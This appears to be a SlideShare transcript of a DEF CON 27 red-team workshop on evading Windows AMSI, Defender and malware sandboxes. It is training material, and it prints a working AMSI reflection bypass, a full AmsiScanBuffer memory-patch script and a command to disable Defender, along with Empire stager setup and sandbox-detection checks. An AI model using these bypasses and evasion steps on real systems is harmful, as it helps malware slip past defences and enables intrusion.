SlideShare ist ein Scribd-Unternehmen logo
1 von 84
Downloaden Sie, um offline zu lesen
ANTHONY ROSE
JACOB KRASNOV
VINCENT ROSE
1
1
whoami
ANTHONY ROSE
C01И
◦ Co-founder, BC Security
◦ Lead Researcher, Merculite Security
◦ MS in Electrical Engineering
◦ Lockpicking Hobbyist
◦ Bluetooth & Wireless Security
Enthusiast
2
JACOB KRASNOV
HUBBLE
◦ Co-founder, BC Security
◦ MS in Astronautical Engineering
◦ Red Team Lead
◦ Currently focused on embedded
system security
VINCENT ROSE
HALCYON
◦ Security Researcher, BC Security
◦ BS in Software Engineering
◦ Software & App Developer
2
Why are we here?
◦ How to mask your malware to avoid AMSI and Sandboxes
3
3
Goals
◦ Introduce Microsoft’s Antimalware Scan Interface (AMSI) and
explain its importance
◦ Learn to analyze malware scripts before and after execution
◦ Understand how obfuscate code to avoid AMSI and Windows
Defender
◦ Detect and avoid sandbox environments
4
4
Expectations
We will teach you to…
◦ operate Empire
◦ obfuscate Powershell
◦ avoid AMSI and Sandboxes
We are not going to teach you…
◦ how to be a “leet hacker”
5
5
-h What is Malware?
6
6
A Very Brief Overview of the Evolution of
Malware Obfuscation
◦ Obfuscation is the main means by which Malware achieves survival
◦ Defeat signature based AV
◦ Make analysis more difficult
7
https://blogs.cisco.com/security/a_brief_history_of_malware_obfuscation_part_1_of
_2
In order to spread and multiply malware has to remain undetected by AV and
defenders. Code obfuscation is the “simplest” and most efficient means of doing this.
In addition to allowing it to sneak past AV obfuscation also helps hinder analysis by
defenders so that it is harder for them to understand how the malware works and
what it is trying to achieve
7
The Early Days
The first virus to obfuscate itself was the Brain Virus in 1986
◦ Would display unchanged data from a different disk sector instead of
the one it had modified
The first virus to use encryption was the Cascade Virus and also
appeared in 1986
◦ Used simple XOR encryption
First commercial AV products came out in 1987
◦ This included heuristic based AV products!
8
4:https://blogs.cisco.com/security/a_brief_history_of_malware_obfuscation_part_1_
of_2
5:
https://en.wikipedia.org/wiki/Antivirus_software#1980%E2%80%931990_period_(ea
rly_days)
What we often think of as “modern day” virus and AV activities has been around for a
long time. By the end of the 80s AV had already recognized that trying to create
signatures based on encrypted/obfuscated code was extremely difficult and instead
started to try and target the encryption/decryption routines as this had to be
machine readable in order to work.
In order to combat this malware adapted to have non static signatures. By the end of
1990, either multiple decryptors chosen at random or dynamically generated ones
were being seen used in the wild.
8
Coming into Its Own
The Malware Arms Race continued and by 1992 polymorphic virus
engines had been released
◦ Could be attached to non-polymorphic viruses to make them more effective
AV wasn’t far behind and soon started to include emulation code to
sandbox the code
◦ There were evasion techniques but we will talk about this later
By the 2000s malware has moved on to so called metamorphic virus7
◦ Polymorphic viruses only change their decryptor while metamorphic change
the code body as well
9
6:https://blogs.cisco.com/security/a_brief_history_of_malware_obfuscation_part_1_
of_2
7:https://blogs.cisco.com/security/a_brief_history_of_malware_obfuscation_part_2_
of_2
9
Going Fileless
Not really completely Fileless
◦ Usually requires some kind of initial script/executable to kick off
infection
◦ Persistence methods may leave traces in places like the registry (ie
Poweliks)
This created a big problem for AV as it has traditionally relied on
scanning files/executables
All of this leads into…
10
10
Antimalware Scripting
Interface (AMSI)
11
11
What Is AMSI?
The Windows Antimalware Scan Interface (AMSI) is a
versatile interface standard that allows your applications
and services to integrate with any antimalware product
that's present on a machine. AMSI provides enhanced
malware protection for your end-users and their data,
applications, and workloads.
12
1 https://docs.microsoft.com/en-us/windows/desktop/amsi/antimalware-scan-
interface-portal
12
That’s Great But What Does that Mean?
◦ Evaluates commands at run time
◦ Handles multiple scripting languages (Powershell, JaveScript, VBA)
◦ Provides an API that is AV agnostic
◦ Identify fileless threats
13
AMSI is a powerful anti-malware tool because it is able to evaluate commands being
passed to the scripting compilation engine at run time after many obfuscation
techniques have been removed. It also supports multiple scripting languages and is
built as a dll with an API interface that any “registered” antivirus provider can access.
13
Data Flow
14
2 https://docs.microsoft.com/en-us/windows/desktop/amsi/antimalware-scan-
interface-portal
14
One point of clarification (Powershell)
The code is evaluated when it is readable by the scripting engine
This means that:
◦ –enc //5XAHIAaQB0AGUALQBIAG8AcwB0ACAAIgB0AGUAcwB0ACIA
becomes:
◦ Write-Host “test”
However:
◦ Write-Host “te”+”st”
Does not become:
◦ Write-Host “test”
This is what allows us to still be able to obfuscate our code
15
2 https://docs.microsoft.com/en-us/windows/desktop/amsi/antimalware-scan-
interface-portal
15
Malware Triggering
16
16
Types of Windows Mitigations
◦ Windows Defender
◦ Antimalware Scan Interface (AMSI)
◦ Control flow guard
◦ Data Execution Prevention (DEP)
◦ Randomized memory allocations
◦ Arbitrary code guard (ACG)
◦ Block child processes
◦ Simulated execution (SimExec)
◦ Valid stack integrity (StackPivot)
17
Control flow guard (CFG) - Ensures control flow integrity for indirect calls. Can
optionally suppress exports and use strict CFG.
Data Execution Prevention (DEP) - Prevents code from being run from data-only
memory pages such as the heap and stacks. Only configurable for 32-bit (x86) apps,
permanently enabled for all other architectures. Can optionally enable ATL thunk
emulation.
Randomize memory allocations (Bottom-Up ASLR) - Randomizes locations for virtual
memory allocations including those for system structures heaps, stacks, TEBs, and
PEBs. Can optionally use a wider randomization variance for 64-bit processes.
Arbitrary code guard (ACG) - Prevents the introduction of non-image-backed
executable code and prevents code pages from being modified. Can optionally allow
thread opt-out and allow remote downgrade (configurable only with PowerShell).
Do not allow child processes - Prevents an app from creating child processes.
Simulate execution (SimExec) - Ensures that calls to sensitive APIs return to legitimate
17
callers. Only configurable for 32-bit (x86) applications. Not compatible with ACG
Validate stack integrity (StackPivot) - ensures that the stack has not been redirected
for sensitive APIs. Not compatible with ACG
17
AMSI Events
When AMSI conducts a scan it passes one of 5 results back:
◦ AMSI_RESULT_CLEAN = 0
◦ AMSI_RESULT_NOT_DETECTED = 1
◦ AMSI_RESULT_BLOCKED_BY_ADMIN_START = 16384
◦ AMSI_RESULT_BLOCKED_BY_ADMIN_END = 20479
◦ AMSI_RESULT_DETECTED = 32768
18
AMSI passes a numerical value onto Windows Defender which then uses it to
determine what action to take. A value of 0 indicates a clean result which means
there is no possibility of the scanned component being malicious now or in the
future. 1 means that currently the scanned result is not deemed malacious but that
status could change in the future (this what is almost always returned under normal
circumstances). The blocked by admin returns indicate that some kind of GPO
blocked execution of the powershell. AMSI actually assigns risk values as it scans and
these values are compiled. A total value of 32767 or less indicates that the program
should proceed. A value of 32768 or higher indicates malware and that the process
should halted. (The returned result will still be 32768 even if the evaluated result was
higher)
https://docs.microsoft.com/en-us/windows/desktop/api/amsi/ne-amsi-amsi_result
18
Flagged Malware
19
19
Windows Defender Logs
Get-WinEvent 'Microsoft-Windows-Windows
Defender/Operational' -MaxEvents 10 | Where-Object Id -
eq 1116 | Format-List
20
Command uses Get-WinEvent to pull events from the Defender logs. The MaxEvents
just limits the output to most recent specified number of events otherwise the
output could be hundreds of events long. The 1116 id number is the event id for
when Defender has flagged malware.
20
Malware Triggering Activity
21
Activity – We will distribute a few basic versions of malware embedded into the
VMs. This will give everyone the opportunity to experiment and see what
will/won’t get past Windows Defender and AMSI.
21
Flagged Malware
22
22
Try Some Code Samples
Look in the sample folder
23
Sample 1 is just a simple Write-Host command with AMSI flagged word
Sample 2 is an AMSI Bypass
Sample 3 is a default Empire launcher
Sample 4 is a PS-Inject script that targets svchost
23
Building/Customizing
Your Malware
24
24
Don't do Too Much at Once
Getting working base code first
◦ Empire, Metasploit, Ect
Customize Functions
Get Working Obfuscated Code
Then Test Against AV
25
25
Disabling Windows Defender
New-ItemProperty -Path
"HKLM:Softwarepoliciesmicrosoftwindows defender" -
name disableantispyware -value 0 –Force
Restart computer/VM
26
26
Empire Tutorial
27
27
Empire Tutorial
Preloaded into VM
https://github.com/EmpireProjec
t/Empire/tree/dev
◦ Install dev version (Do not use
version 2.5)
◦ sudo ./setup/install.sh
28
28
Empire Tutorial
Splash page
◦Version running
(We are using a modified
dev version)
◦How many modules loaded
◦Active Listeners
◦Active Agents
29
29
Empire Tutorial
“Help” lists out all available commands
◦ Agents – Active payloads available
◦ Interact – Control a payload/host
◦ Preobfuscate – Obfuscates
Powershell module (not needed)
◦ Set – Modify payload settings
◦ Usemodule – Select Empire Module
◦ Uselistener – Select Lisener
◦ Usestager – Select Empire stager
(we will be using macros)
30
30
Empire Tutorial
Uselistener
◦Host – Where you want
your payload to call back to
◦ Make sure you use your IP for
this
◦Port – Port used for
communication
◦ Default port is 80 (HTTP)
31
31
Empire Tutorial
Use edit to modify Listener
info
◦“edit LISTENERNAME host
YOURIPADDRESS”
◦“edit LISTENERNAME port
PORTNUMBER”
32
32
Empire Tutorial
33
Usestager
◦Tailor the stager to what the target is
◦Our focus is Windows using a Macro
◦“Windows/macro”
33
Empire Tutorial
Default Empire output (without
obfuscation)
◦ This will get you caught
34
34
Test your Empire Payload
35
35
Obfuscation Techniques
36
Obfuscation Basics
36
Advanced Techniques are Still Useful!
They are still good for hiding from other malware scanners,
sandboxes, and human analysis
37
37
Randomized Capitalization
Powershell ignores capitalization
38
AMSI also ignores capitalization so this isn't effective at avoiding it but the
randomization does change the hash of the file so it's still best practice to implement
it.
38
Concatenation
AMSI is still heavily dependent upon signatures, simple
concatenation can circumvent most alerts
39
Concatination is the most used and simplest form of obfuscation against AMSI. Once
a variable has been set the full value is almost never scanned again so the variable
can be passed into other functions freely without issue.
39
Variable Insertion
Powershell recognizes $ as a special character in a string and
will fetch the associated variable.
◦ This is usually used in conjunction with something like
concatenation
40
40
Format String
Powershell allows for the use of {} inside a string to allow for
variable insertion. This is an implicit reference to the format
string function.
41
41
XOR || ⊕
Uses:
◦ Pseudorandom number generation
◦ Error detection
◦ Encryption
◦ Linear separability
42
A B A XOR B
0 0 0
0 1 1
1 0 1
1 1 0
Commutative: A ⊕ B = B ⊕ A
Associative: A ⊕ ( B ⊕ C ) = ( A ⊕ B ) ⊕ C
Identity element: A ⊕ 0 = A
Self-inverse: A ⊕ A = 0
42
Obfuscate the Samples
Using Samples 1-3 from the early exercise attempt to
obfuscate them so that they will run
Sample 3 can be difficult to figure out what is causing the
issue
43
43
Invoke-Obfuscation
44
44
Invoke-Obfuscation
Install here
◦https://github.com/danielboha
nnon/Invoke-Obfuscation
◦“Import-Module ./Invoke-
Obfuscation.psd”
◦Run “Invoke-Obfuscation”
45
If script disabled by system: Run as admin then “set-executionpolicy remotesigned“ &
“Set-ExecutionPolicy -Scope Process -ExecutionPolicy Bypass“
45
Invoke-Obfuscation
Type “Tutorial” for high level
directions
◦Extremely helpful for
learning/remembering the
basics
46
46
Invoke-Obfuscation
Example code
◦ Use this for practicing
◦ SET SCRIPTBLOCK powershell -enc
VwByAGkAdABlAC0ASABvAHMAdAAgACcA
WQBvAHUAIABjAGEAbgAgAHUAcwBlACAA
YgBhAHMAaQBjACAALQBlAG4AYwAgAEUA
bgBjAG8AZABlAGQAQwBvAG0AbQBhAG4A
ZAAgAHMAeQBuAHQAYQB4ACAAdwBpAHQA
aABvAHUAdAAgAGEAbgB5ACAAbwB0AGgA
ZQByACAAZQB4AGUAYwB1AHQAaQBvAG4A
IABhAHIAZwB1AG0AZQBuAHQAcwAgAGEA
cwAgAGkAbgBwAHUAdAAgAGYAbwByACAA
UwBjAHIAaQBwAHQAQgBsAG8AYwBrACAA
dgBhAGwAdQBlACAAaQBuACAASQBuAHYA
bwBrAGUALQBPAGIAZgB1AHMAYwBhAHQA
aQBvAG4ALgAnACAALQBmACAAZwByAGUA
ZQBuAA
47
47
Invoke-Obfuscation
Token-layer Obfuscation
◦ TokenVariable (extremely
useful for masking variable
names to AMSI)
◦ TokenAll (if you are super lazy)
◦ Typically run whitespace last
48
48
Invoke-Obfuscation
Abstract Syntacx Tree (AST)
◦ Changes structure of AST
◦ AST contains all parsed content
in Powershell code without
having to dive into text parsing
(we want to hide from this)
49
49
Invoke-Obfuscation
Encoding
◦ Used to further mask the
payload by converting the
format (e.g., Hex, Binary, AES,
etc)
◦ Beware: running too much
encoding will break the 8,191
character limit
50
50
Invoke-Obfuscation
String
◦Obfuscate Powershell code
as a string
◦Breaks up the code with
reversing techniques and
concatenation
51
51
Invoke-Obfuscation
Compress
◦Can be used in conjunction
with Encoding to reduce the
overall size of the payload.
52
52
Invoke-Obfuscation
53
53
Invoke-Obfuscation
Order of operations
◦Mix it up to avoid detection
◦Example:
◦Token6421
◦Whitespace1
◦Encoding2
◦Compress1
54
54
AMSI Bypasses
55
55
Why do we need this?
If our payload is already obfuscated enough to evade AMSI
why bother?
◦ Only the first part of the stager is obfuscated!
Obfuscation can be time consuming, adds complexity and
increases the size of our payloads
56
56
Why do we need this?
AMSI bypasses let us load whatever future modules we may
want without issues
◦ Mimkatz, PS-Inject*, Powerup, etc.
57
57
Remember the AMSI returns
◦ AMSI_RESULT_CLEAN = 0
◦ AMSI_RESULT_NOT_DETECTED = 1
◦ AMSI_RESULT_BLOCKED_BY_ADMIN_START = 16384
◦ AMSI_RESULT_BLOCKED_BY_ADMIN_END = 20479
◦ AMSI_RESULT_DETECTED = 32768
58
58
Reflective Bypass
Simplest Bypass that currently works
◦ $Ref=[REF].Assembly.GetType('System.Management.Automation.AmsiUtils');
◦ $Ref.GetField('amsiInitFailed', 'NonPublic, Static').SetValue($NULL, $TRUE);
Published by Matt Graeber in 2016 by tweet
59
Capitalization matters for passing field values
59
What Does it Do?
Using reflection we are exposing functions from AMSI
We are setting the AmsiInitField to True which source code
shows causes AMSI to return:
◦ AMSI_SCAN_RESULT_NOT_FOUND
60
Microsoft's explanation on reflection: https://docs.microsoft.com/en-
us/dotnet/framework/reflection-and-codedom/reflection
Image taken from: https://www.mdsec.co.uk/2018/06/exploring-powershell-amsi-
and-logging-evasion/
That site also provides excellent detailed explanations on how these bypasses work
60
Why does this work?
AMSI is loaded into the Powershell process at start up so it
has the same permission levels as the process the malware
is in
The designers of AMSI presumably decided that if there was
an error occurring when AMSI starts up it's better to allow
the system to continue operating rather than creating a ton
of false flags that could make the computer useless
61
61
Patching AMSI.dll in Memory
62
Code is also included below so it can be cut and pasted somewhere else
This method works by using C# to expose the native API calls in Kernel32 to
powershell. This allows us to obtain where in memory the AMSI Scan buffer is and
patch in a command to return a good scan result prior to the function actually
scanning our commands.
While more complicated than the previous method it doesn't cause AMSI to fail
instead preserving the appearance of the scan being completed fully. APTs have been
observed utilizing this technique in the wild
https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/
This code was derived from Tal Liberman's Black Hat talk and taking some
modifications from Rasta Mouse
https://i.blackhat.com/briefings/asia/2018/asia-18-Tal-Liberman-Documenting-the-
Undocumented-The-Rise-and-Fall-of-AMSI.pdf
https://rastamouse.me/2018/11/amsiscanbuffer-bypass-part-3/
62
$MethodDefinition = @'
[DllImport("kernel32", CharSet=CharSet.Ansi, ExactSpelling=true,
SetLastError=true)]
public static extern IntPtr GetProcAddress(IntPtr hModule,string procName);
[DllImport("kernel32.dll", CharSet=CharSet.Auto)]
public static extern IntPtr GetModuleHandle(string lpModuleName);
[DllImport("kernel32")]
public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint
flNewProtect, out uint lpflOldProtect);
'@
$Kernel32 = Add-Type -MemberDefinition $MethodDefinition -Name ‘Kernel32’ -
Namespace ‘Win32’ -PassThru
$ASBD = "AmsiS"+"canBuffer"
$handle = [Win32.Kernel32]::GetModuleHandle("amsi.dll")
[IntPtr]$BufferAddress = [Win32.Kernel32]::GetProcAddress($handle, $ASBD)
[UInt32]$Size = 0x5
[UInt32]$ProtectFlag = 0x40
[UInt32]$OldProtectFlag = 0
[Win32.Kernel32]::VirtualProtect($BufferAddress, $Size, $ProtectFlag,
[Ref]$OldProtectFlag)
$buf = new-object byte[] 6
$buf[0] = [UInt32]0xB8
$buf[1] = [UInt32]0x57
$buf[2] = [UInt32]0x00
$buf[3] = [Uint32]0x07
$buf[4] = [Uint32]0x80
$buf[5] = [Uint32]0xC3
[system.runtime.interopservices.marshal]::copy($buf, 0, $BufferAddress, 6)
62
Why does this work?
AMSI.dll is loaded into the same memory space as
Powershell. (Powershell is loading it after all)
This means that we have unrestricted access to the memory
space that AMSI runs in and can modify it however we
please
Tells the function to return a clean result prior to actually
scanning
63
63
Test time!
Re-enable Defender run your Empire launcher
64
64
Sandbox Detection and
Evasion
65
65
What is a Sandbox?
A software created environment
that isolates and limits the rights and
accesses of a process being executed
An effective way of doing behavioral
analysis for AV
66
66
Who is using Sandboxes?
67
Sandboxes are being used all over. Companies from Crowdstrike to Mimecast to
Google are now implementing them and they are becoming increasingly common in
email filters
67
Automated Sandbox Malware analysis
As we talked about earlier, obfuscating code to break
signatures can be relatively trivial
◦ AV would need an almost unlimited number of signatures
Heavily obfuscated code can make it almost impossible for
human analysis to be effective
Instead evaluate behavior
68
Automated sign boxes are looking for heuristics. Is a word document trying to spawn
powershell or a secondary process? Is memory space being manpiulated? Is the file
trying to contact a known bad domain? Ect.
68
Sandbox Indicators
69
69
Sandbox Limitations
They use a lot of resources which can be expensive
End users don't want to wait to receive their messages
Email scanning requires thousands of attachments to
evaluated constantly
70
70
Sandbox Limitations
These limitations provide us with several means to try and
detect or evade them
◦ Password Protection
◦ Time Delays
◦ Check for limited resources(small amount of ram, single core, etc.)
◦ Look for virtualization processes(sandboxie, VMWare tools)
71
71
Evasion Techniques
72
72
When do we want to do this?
Before we do suspicious things
◦ Like starting a new process
◦ Reaching out to the internet
The checks could be suspicious themselves
◦ Sandbox Evasion is becoming more prevalent
73
Things like trying to reach out to the internet such as was done by WannaCry are now
being used as indicators for potential malacious intent. Lot's of API calls can be
suspicious as well.
73
Password Protection
The sandbox doesn't know the password and therefore
can't open the file. No results are found so the file is passed
on.
The password is usually sent in the body of the email with
instructions to use it.
◦ Lower success rate
74
74
Time Delay
Email filters have a limited amount of time to scan files so
delay until it the scan is completed
This is less practical in a macro as it will keep the document
open until done waiting
75
https://stackoverflow.com/questions/1544526/how-to-pause-for-specific-amount-of-
time-excel-vba
75
Checking for Resources
Using WMI Objects you can enumerate the hardware and
system configurations
Some malware looks for things like the presence of a fan
◦ Note: WMI objects are very inconsistently implemented by
manufacturers.
76
https://attack.mitre.org/techniques/T1497/
76
Checking for Resources
Some Useful WMI Objects
◦ Win32_ComputerSystem
◦ Win32_LogicalDisk
◦ Win32_Fan
77
https://attack.mitre.org/techniques/T1497/
The Powershel Commandlet Get-WmiObject is usefull for seeing all the available WMI
objects and what fields are available in the classes
Get-WmiObject –List will show allavailable WMI objects
https://devblogs.microsoft.com/scripting/three-easy-ways-to-use-powershell-and-
wql-to-get-wmi-data/
Provides a short guide on using WMI queries in powershell
77
Checking for Processes
Most if not all sandboxes result in the addition of
management processes that we can look for
◦ Win32_Process contains all the processes currently running
Some common processes to look for:
◦ Sbiesvc, SbieCtrl
◦ Vmtools
◦ VBoxService
78
https://attack.mitre.org/techniques/T1497/
The MITRE site lists a bunch of ways APTs have been known to detect VMs it's a good
place to get ideas
78
What happens to your Malware?
Who is Roydan?
Microsoft is spawning VMs to
sandbox our malware
◦ We still get callbacks to our
machine
◦ Fingerprint the OS to avoid
Malware triggering
79
o Demo/Activity – We will demonstrate the sandbox environment that Microsoft
is employing to scan emails (Microsoft Outlook) for malware. Students will have an
opportunity to explore sandbox on their own.
79
There is no one way guaranteed to work
Because of the control many developers have on
implementing WMI objects or naming processes there is no
one check that is guaranteed to work.
◦ Learn as much as possible about the target environment
◦ Use multiple halting conditions
◦ Check places like attack.mitre.org to look for new techniques if old
ones fail
80
80
Put it all together
YOUR TURN TO TRY IT ALL
81
81
INFO@BC-SECURITY.ORG
82
82

Weitere ähnliche Inhalte

Was ist angesagt?

Subgraph vega countermeasure2012
Subgraph vega countermeasure2012Subgraph vega countermeasure2012
Subgraph vega countermeasure2012David Mirza
 
David Thiel - Secure Development On iOS
David Thiel - Secure Development On iOSDavid Thiel - Secure Development On iOS
David Thiel - Secure Development On iOSSource Conference
 
OWASP Poland Day 2018 - Amir Shladovsky - Crypto-mining
OWASP Poland Day 2018 - Amir Shladovsky - Crypto-miningOWASP Poland Day 2018 - Amir Shladovsky - Crypto-mining
OWASP Poland Day 2018 - Amir Shladovsky - Crypto-miningOWASP
 
Black Hat '15: Writing Bad @$$ Malware for OS X
Black Hat '15: Writing Bad @$$ Malware for OS XBlack Hat '15: Writing Bad @$$ Malware for OS X
Black Hat '15: Writing Bad @$$ Malware for OS XSynack
 
DEF CON 23: Stick That In Your (root)Pipe & Smoke It
DEF CON 23: Stick That In Your (root)Pipe & Smoke ItDEF CON 23: Stick That In Your (root)Pipe & Smoke It
DEF CON 23: Stick That In Your (root)Pipe & Smoke ItSynack
 
DEF CON 27 - workshop ANTHONY ROSE - introduction to amsi bypasses and sandbo...
DEF CON 27 - workshop ANTHONY ROSE - introduction to amsi bypasses and sandbo...DEF CON 27 - workshop ANTHONY ROSE - introduction to amsi bypasses and sandbo...
DEF CON 27 - workshop ANTHONY ROSE - introduction to amsi bypasses and sandbo...Felipe Prado
 
Внедрение безопасности в веб-приложениях в среде выполнения
Внедрение безопасности в веб-приложениях в среде выполненияВнедрение безопасности в веб-приложениях в среде выполнения
Внедрение безопасности в веб-приложениях в среде выполненияPositive Hack Days
 
На страже ваших денег и данных
На страже ваших денег и данныхНа страже ваших денег и данных
На страже ваших денег и данныхPositive Hack Days
 
Secure coding presentation Oct 3 2020
Secure coding presentation Oct 3 2020Secure coding presentation Oct 3 2020
Secure coding presentation Oct 3 2020Moataz Kamel
 
Virus Bulletin 2015: Exposing Gatekeeper
Virus Bulletin 2015: Exposing GatekeeperVirus Bulletin 2015: Exposing Gatekeeper
Virus Bulletin 2015: Exposing GatekeeperSynack
 
How to Make Your NodeJS Application Secure (24 Best Security Tips )
How to Make Your NodeJS Application Secure (24 Best Security Tips )How to Make Your NodeJS Application Secure (24 Best Security Tips )
How to Make Your NodeJS Application Secure (24 Best Security Tips )Katy Slemon
 
DEF CON 23: Internet of Things: Hacking 14 Devices
DEF CON 23: Internet of Things: Hacking 14 DevicesDEF CON 23: Internet of Things: Hacking 14 Devices
DEF CON 23: Internet of Things: Hacking 14 DevicesSynack
 
CSW2017 Weston miller csw17_mitigating_native_remote_code_execution
CSW2017 Weston miller csw17_mitigating_native_remote_code_executionCSW2017 Weston miller csw17_mitigating_native_remote_code_execution
CSW2017 Weston miller csw17_mitigating_native_remote_code_executionCanSecWest
 
Neoito — Secure coding practices
Neoito — Secure coding practicesNeoito — Secure coding practices
Neoito — Secure coding practicesNeoito
 
[OPD 2019] Side-Channels on the Web:
Attacks and Defenses
[OPD 2019] Side-Channels on the Web:
Attacks and Defenses[OPD 2019] Side-Channels on the Web:
Attacks and Defenses
[OPD 2019] Side-Channels on the Web:
Attacks and DefensesOWASP
 
Popular Approaches to Preventing Code Injection Attacks are Dangerously Wrong
Popular Approaches to Preventing Code Injection Attacks are Dangerously WrongPopular Approaches to Preventing Code Injection Attacks are Dangerously Wrong
Popular Approaches to Preventing Code Injection Attacks are Dangerously WrongWaratek Ltd
 
Application Virtualization
Application VirtualizationApplication Virtualization
Application Virtualizationsecurityxploded
 
Deep Exploit@Black Hat Europe 2018 Arsenal
Deep Exploit@Black Hat Europe 2018 ArsenalDeep Exploit@Black Hat Europe 2018 Arsenal
Deep Exploit@Black Hat Europe 2018 ArsenalIsao Takaesu
 
ZeroNights: Automating iOS blackbox security scanning
ZeroNights: Automating iOS blackbox security scanningZeroNights: Automating iOS blackbox security scanning
ZeroNights: Automating iOS blackbox security scanningMikhail Sosonkin
 
Xamarin security talk slideshare
Xamarin security talk slideshareXamarin security talk slideshare
Xamarin security talk slideshareMarcus de Wilde
 

Was ist angesagt? (20)

Subgraph vega countermeasure2012
Subgraph vega countermeasure2012Subgraph vega countermeasure2012
Subgraph vega countermeasure2012
 
David Thiel - Secure Development On iOS
David Thiel - Secure Development On iOSDavid Thiel - Secure Development On iOS
David Thiel - Secure Development On iOS
 
OWASP Poland Day 2018 - Amir Shladovsky - Crypto-mining
OWASP Poland Day 2018 - Amir Shladovsky - Crypto-miningOWASP Poland Day 2018 - Amir Shladovsky - Crypto-mining
OWASP Poland Day 2018 - Amir Shladovsky - Crypto-mining
 
Black Hat '15: Writing Bad @$$ Malware for OS X
Black Hat '15: Writing Bad @$$ Malware for OS XBlack Hat '15: Writing Bad @$$ Malware for OS X
Black Hat '15: Writing Bad @$$ Malware for OS X
 
DEF CON 23: Stick That In Your (root)Pipe & Smoke It
DEF CON 23: Stick That In Your (root)Pipe & Smoke ItDEF CON 23: Stick That In Your (root)Pipe & Smoke It
DEF CON 23: Stick That In Your (root)Pipe & Smoke It
 
DEF CON 27 - workshop ANTHONY ROSE - introduction to amsi bypasses and sandbo...
DEF CON 27 - workshop ANTHONY ROSE - introduction to amsi bypasses and sandbo...DEF CON 27 - workshop ANTHONY ROSE - introduction to amsi bypasses and sandbo...
DEF CON 27 - workshop ANTHONY ROSE - introduction to amsi bypasses and sandbo...
 
Внедрение безопасности в веб-приложениях в среде выполнения
Внедрение безопасности в веб-приложениях в среде выполненияВнедрение безопасности в веб-приложениях в среде выполнения
Внедрение безопасности в веб-приложениях в среде выполнения
 
На страже ваших денег и данных
На страже ваших денег и данныхНа страже ваших денег и данных
На страже ваших денег и данных
 
Secure coding presentation Oct 3 2020
Secure coding presentation Oct 3 2020Secure coding presentation Oct 3 2020
Secure coding presentation Oct 3 2020
 
Virus Bulletin 2015: Exposing Gatekeeper
Virus Bulletin 2015: Exposing GatekeeperVirus Bulletin 2015: Exposing Gatekeeper
Virus Bulletin 2015: Exposing Gatekeeper
 
How to Make Your NodeJS Application Secure (24 Best Security Tips )
How to Make Your NodeJS Application Secure (24 Best Security Tips )How to Make Your NodeJS Application Secure (24 Best Security Tips )
How to Make Your NodeJS Application Secure (24 Best Security Tips )
 
DEF CON 23: Internet of Things: Hacking 14 Devices
DEF CON 23: Internet of Things: Hacking 14 DevicesDEF CON 23: Internet of Things: Hacking 14 Devices
DEF CON 23: Internet of Things: Hacking 14 Devices
 
CSW2017 Weston miller csw17_mitigating_native_remote_code_execution
CSW2017 Weston miller csw17_mitigating_native_remote_code_executionCSW2017 Weston miller csw17_mitigating_native_remote_code_execution
CSW2017 Weston miller csw17_mitigating_native_remote_code_execution
 
Neoito — Secure coding practices
Neoito — Secure coding practicesNeoito — Secure coding practices
Neoito — Secure coding practices
 
[OPD 2019] Side-Channels on the Web:
Attacks and Defenses
[OPD 2019] Side-Channels on the Web:
Attacks and Defenses[OPD 2019] Side-Channels on the Web:
Attacks and Defenses
[OPD 2019] Side-Channels on the Web:
Attacks and Defenses
 
Popular Approaches to Preventing Code Injection Attacks are Dangerously Wrong
Popular Approaches to Preventing Code Injection Attacks are Dangerously WrongPopular Approaches to Preventing Code Injection Attacks are Dangerously Wrong
Popular Approaches to Preventing Code Injection Attacks are Dangerously Wrong
 
Application Virtualization
Application VirtualizationApplication Virtualization
Application Virtualization
 
Deep Exploit@Black Hat Europe 2018 Arsenal
Deep Exploit@Black Hat Europe 2018 ArsenalDeep Exploit@Black Hat Europe 2018 Arsenal
Deep Exploit@Black Hat Europe 2018 Arsenal
 
ZeroNights: Automating iOS blackbox security scanning
ZeroNights: Automating iOS blackbox security scanningZeroNights: Automating iOS blackbox security scanning
ZeroNights: Automating iOS blackbox security scanning
 
Xamarin security talk slideshare
Xamarin security talk slideshareXamarin security talk slideshare
Xamarin security talk slideshare
 

Ähnlich wie DEF CON 27 - workshop ANTHONY ROSE - introduction to amsi bypasses and sandbox evasion notes

theVIVI-AD-Security-Workshop_AfricaHackon2019.pdf
theVIVI-AD-Security-Workshop_AfricaHackon2019.pdftheVIVI-AD-Security-Workshop_AfricaHackon2019.pdf
theVIVI-AD-Security-Workshop_AfricaHackon2019.pdfGabriel Mathenge
 
White Paper - Are antivirus solutions enough to protect industrial plants?
White Paper - Are antivirus solutions enough to protect industrial plants?White Paper - Are antivirus solutions enough to protect industrial plants?
White Paper - Are antivirus solutions enough to protect industrial plants?TI Safe
 
FBI & Secret Service- Business Email Compromise Workshop
FBI & Secret Service- Business Email Compromise WorkshopFBI & Secret Service- Business Email Compromise Workshop
FBI & Secret Service- Business Email Compromise WorkshopErnest Staats
 
The Seven Most Dangerous New Attack Techniques, and What's Coming Next
The Seven Most Dangerous New Attack Techniques, and What's Coming NextThe Seven Most Dangerous New Attack Techniques, and What's Coming Next
The Seven Most Dangerous New Attack Techniques, and What's Coming NextPriyanka Aash
 
The Seven Most Dangerous New Attack Techniques, and What's Coming Next
The Seven Most Dangerous New Attack Techniques, and What's Coming NextThe Seven Most Dangerous New Attack Techniques, and What's Coming Next
The Seven Most Dangerous New Attack Techniques, and What's Coming NextPriyanka Aash
 
Lab-10 Malware Creation and Denial of Service (DoS) In t.docx
Lab-10 Malware Creation and Denial of Service (DoS)        In t.docxLab-10 Malware Creation and Denial of Service (DoS)        In t.docx
Lab-10 Malware Creation and Denial of Service (DoS) In t.docxpauline234567
 
Breaking Antivirus Software - Joxean Koret (SYSCAN 2014)
Breaking Antivirus Software - Joxean Koret (SYSCAN 2014)Breaking Antivirus Software - Joxean Koret (SYSCAN 2014)
Breaking Antivirus Software - Joxean Koret (SYSCAN 2014)Akmal Hisyam
 
Breaking av software
Breaking av softwareBreaking av software
Breaking av softwareJoxean Koret
 
Breaking av software
Breaking av softwareBreaking av software
Breaking av softwareThomas Pollet
 
Breaking Antivirus Software
Breaking Antivirus SoftwareBreaking Antivirus Software
Breaking Antivirus Softwarerahmanprojectd
 
Catching Multilayered Zero-Day Attacks on MS Office
Catching Multilayered Zero-Day Attacks on MS OfficeCatching Multilayered Zero-Day Attacks on MS Office
Catching Multilayered Zero-Day Attacks on MS OfficeKaspersky
 
Top 10 Web Vulnerability Scanners
Top 10 Web Vulnerability ScannersTop 10 Web Vulnerability Scanners
